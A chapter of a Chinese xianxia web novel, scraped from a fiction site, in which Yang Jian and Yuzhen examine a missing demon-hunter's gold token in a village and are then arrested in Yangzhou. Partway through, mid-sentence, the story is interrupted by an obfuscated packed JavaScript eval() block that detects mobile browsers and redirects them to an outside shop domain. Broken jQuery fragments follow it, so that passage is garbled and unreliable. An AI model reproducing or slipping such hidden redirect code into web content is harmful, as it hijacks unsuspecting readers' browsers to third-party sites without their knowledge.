文趣网 > 其他小说 > 全三界都知道杨戬真君在等我认领前尘 > 14. 晨起暗较针锋相对 牢中静待水落石出
    村里打鸣的公鸡比太阳醒得早。

    玉真还以为自己是在浮生阁,要么就是在灌江口,总而言之没多么情愿起床。

    她缓缓掀开盖在身上的小毛毯,发了一会呆,才想起来自己是在扬州一个小村落里借宿。

    啊……果然是睡懵了啊,日子都过混乱了。

    昨晚睡得太沉,猛然间想起昨晚好像做梦骂人来着,以至于刚醒来时那种大脑一片空白的感觉格外强烈。

    幸亏南极仙翁不在她身边,不然听到自己犯起床气的毛病又该说道她了。

    玉真简单收拾一番走入院中,看见杨戬正从井边打水,手里还握着一把木瓢,给一棵冒芽没多久的小树浇水。

    日光东升,给杨戬的轮廓镀上一层金边。

    他听见沉闷的脚步声,扭头看着正在揉眼的玉真,语气如常:“醒了?”

    玉真应了一声简短的“嗯”。

    但不知怎的,昨晚虽然做梦但睡得还不错,以至于脑子有些木楞,左耳被压得发麻。

    她下意识随口回道:“呵呵,你不睡觉精神倒还挺好,站那跟棵树一样我差点以为院子里没人。”

    话一出口,玉真自己先愣住了,才后知后觉昨晚哪里是在做梦,分明是她把杨戬怼了。

    只不过怼得还不解气,被憋回肚里的气顺着这句没头没尾的话溜了出来。

    玉真本来打算赶紧向杨戬解释一番,结果杨戬愣是头都不抬一下,继续给小树苗浇水,让玉真萌生了“他到底听没听见”的疑问。

    紧绷的心瞬间松垮下来。

    玉真暗暗想,幸好杨戬没计较,最好是他没听见自己嘟囔了什么,不然被打包退货回昆仑山肯定很丢人吧。

    闲着也是闲着,玉真正想回屋吃点东西,就看见杨戬放下水瓢走到院门口示意她跟上。

    “今日先去村长那里查看失踪捉妖师的包袱。你若是身子不爽利——”杨戬意有所指地点点自己的太阳穴。

    玉真刚想接话茬,还没开口,院门边刚好路过两个端着簸箕的妇人。

    其中一个离着门口近,听见了杨戬说的后半句,还真以为玉真身体不舒服,关切地问道:“姑娘身子不适啊?”

    深陷误会的玉真又要摇头,杨戬已经先一步替她作出答复:“她天生弱症,头脑不太清醒,老毛病了,缓缓就是。”

    “唉,居然是天生的啊……真是可怜的孩子。现在天凉了,夜里盖好被褥,可得多注意身体。”

    说完,便端着簸箕离开了。

    玉真目光复杂地瞪着杨戬背后。

    亏她刚才还有一丝窃喜,以为杨戬什么也没听见,原来是忍一时然后趁机给别人说自己坏话。

    好气人的报复手段,可偏偏玉真又不能多说什么。

    大局为上,她得尽心扮演好一个病患之人,让村民们对二人地身份深信不疑。

    “村长家在前面,跟上。”

    玉真深吸一口气,快步跟上去,经过杨戬身边时还是忍不住抱怨一句:“……这理由怎么这么怪,真君您能不能换一个。”

    “从船上不就这么说的,你是才有意见了?”

    ……果然,就不该多这一嘴。

    ***

    村长家在整个村子的中部,离祠堂不远,看着也比普通人户更宽敞些。

    他们来的时候,昨晚的年轻人已经在村长身边候着了,见杨戬和玉真停在门口,轻声呼唤躺在竹椅小憩的村长。

    村长本人是个约莫六十来岁的老者,目光平和,慈眉善目,看起来倒不像个会故弄玄虚之人。

    年轻人提前跟自己打好招呼,因而村长看见杨戬和玉真来访,也无须多问旁的,亲自引他们到东屋,指着一只搁在箱子里的黑布包裹。

    “就是这只了。当时只是简单拆开看了看,也没敢乱动里面的东西,怕弄坏什么。”

    “万一人家哪一天回来看见包里东西被动过,再上村里人,只怕是得不偿失。”

    杨戬走到床前解开包袱的系绳,玉真就待在一旁看着。

    包袱里东西不多。

    一件黑衣、一沓黄符纸、一面罗盘,以及……一枚黄金令牌,上面明晃晃刻着“捉妖司”三个大字。

    杨戬将令牌拿在手中翻看片刻,目光被令牌侧面边缘的小字吸引。

    “你看,俺没说错吧,这可是真金的啊!没点财力怎么可能拿手里,肯定是朝廷的人。”

    杨戬袖口一动,又将包袱重新系好递给村长,开口道:“确实不是寻常之物。但朝廷的人走失,他们应该不日就会再来村里找人了。”

    村长并未多言,浑浊的眼瞳在此刻格外有神。

    他一把年纪,当了这么多年头的村长,也是第一次遇到这种事。

    村长觉得他们兄妹两个与村子有缘,举手投足间看着也不像泛泛之辈,拜托他们打探些蛛丝马迹。

    出了村长家,杨戬和玉真以开药名义打算进城探探路。

    玉真低声开口:“真君,您拿了什么?”

    “你倒是看得仔细。”金灿灿的令牌正安静躺在杨戬的袖口里,“有了这捉妖令牌,行事更方便。”

    令牌猝不及防被递到眼前,玉真凑近仔细一瞧,发现令牌侧面好像刻了字,磨损痕迹太多以至于根本看不清刻了什么。

    杨戬令牌重新收好:“要想找到令牌的主人、辨别真伪,必须先寻到其他捉妖师。”

    ***

    扬州城的市井烟火气与灌江口相比有过之而无不及。

    灌江口是杨戬的领地,仙气更重,管理局一直在建设灌江口时与蓬莱、瀛洲等仙城暗戳戳较量。

    而扬州城则是凡人聚集之地,天子驾临,生气更重。

    茶楼酒肆鳞次栉比,街道上行人摩肩接踵,叫卖声、车马声汇成一片,好不热闹。

    杨戬和玉真沿着主街走了一段,玉真馋瘾犯了,被道两旁热气腾腾的包子、裹满糖浆的糖葫芦勾得走不动道。

    但正事要紧,玉真收敛嘴角的口水,最终停在一座挂着“捉妖司扬州分司”牌匾的官署前停下脚步。

    玉真正要上前,杨戬却忽然拉住她的手腕,隔着薄薄一层衣袖,将她往路边小摊后带。

    玉真还没来得及问怎么了,便看见官署门内走出三名身着朱红制服的捉妖师。

    这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874699|212346||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    三人的腰上挂着相同的黄金捉妖令牌,与杨戬方才顺走的那枚令牌样式相同,远处看不出侧边有何不同。

    其中一人低声喝住走在前面的两人,伸手感受着微微发烫颤动的令牌,提醒他们也摸一摸。

    “……附近有同僚的令牌在。”

    另一人神色微变:“是丁鸣羽的!他不是失踪很久了么?难不成就在这附近?”

    玉真偷躲着看他们窃窃私语,貌似是令牌出了什么猫腻。

    朝廷特制的捉妖令牌,每个捉妖师只此一个,她觉得跟天宫里天兵天将的令牌并无二致,说不定能通过令牌进行感应。

    可问题就出在,若凭借一个小小的令牌就能寻找到失踪的同僚,为何这群人迟迟寻不到令牌的主人?

    但眼下更大的麻烦已经出现了,一把雪白光亮的剑刃架在自己的脖子上,周围的百姓被呵令退散。

    玉真眨眨眼,还没意识到短短一瞬间发生了这么石破天惊的动荡,就见战力无边的杨戬也被剑指着。

    杨戬没有躲也没有跑,更没有出言解释,甚至有闲情逸致摆弄青印。

    捉妖师捕捉到杨戬袖中的令牌,额角的青筋猛然间跟着跳动:“你们是谁?这令牌……你们是从何处得来的?”

    杨戬没什么好遮遮掩掩,他是故意试探令牌之间是否能相互感应。

    至于会不会把这群正泡在沸水里的捉妖师吸引来,他心里大概有谱了。

    “昨夜在城外村落里借宿时意外捡到的,有何问题么?”

    “你还好意思问?也不看看自己编的什么蠢话!”对方显然不信,质疑道,“此乃朝廷御赐的捉妖令牌,每个捉妖师仅此一枚!”

    “捉妖师的令牌从不离身,除非持令者已经遭遇不测!你们二人行迹诡异,还敢拿着令牌招摇过市,简直胆大妄为!”

    三人交换了个眼神,笃定杨戬不见棺材不落泪,便将二人押入捉妖司。

    大牢内石墙厚重又潮湿,空气中弥漫着难以言喻的腥臭味,铁栏上锈迹斑斑,血迹干涸凝固在周遭。

    玉真坐在冰凉的石板上,看着对面正闭目养神的杨戬,憋了一路的话还是问出口。

    “真君,您为什么不跑?您明明可以……”玉真的声音越来越小,“明明可以用法力的脱身的。”

    杨戬淡然自若,声音轻飘飘地落下:“倘若跑了,就是自己坐实了偷窃令牌伤害捉妖师的罪名。”

    “若想查出那个真正的窃贼是谁,必须从他们内部找线索。”

    玉真沉默着没应声。

    杨戬感受着死一般的寂静,微不可察的烦躁爬上心头,迫使他想睁眼看一看。

    看一看。

    ……可是要看什么?

    他有些摸不清自己,为何某一天连看与不看都能成为盘踞在自己心头的横木。

    “……怕了?”杨戬抬眼,眸光轻转,“牢里比外面更安全。”

    “所以您早就料到会进大牢?”玉真把下巴垫在膝盖上,目不转睛盯着鞋上沾染的泥泞和草屑。

    既然杨戬已经有了打算,她也放下心来,倒是不必慌张,反而有时间静下心,理一理线索。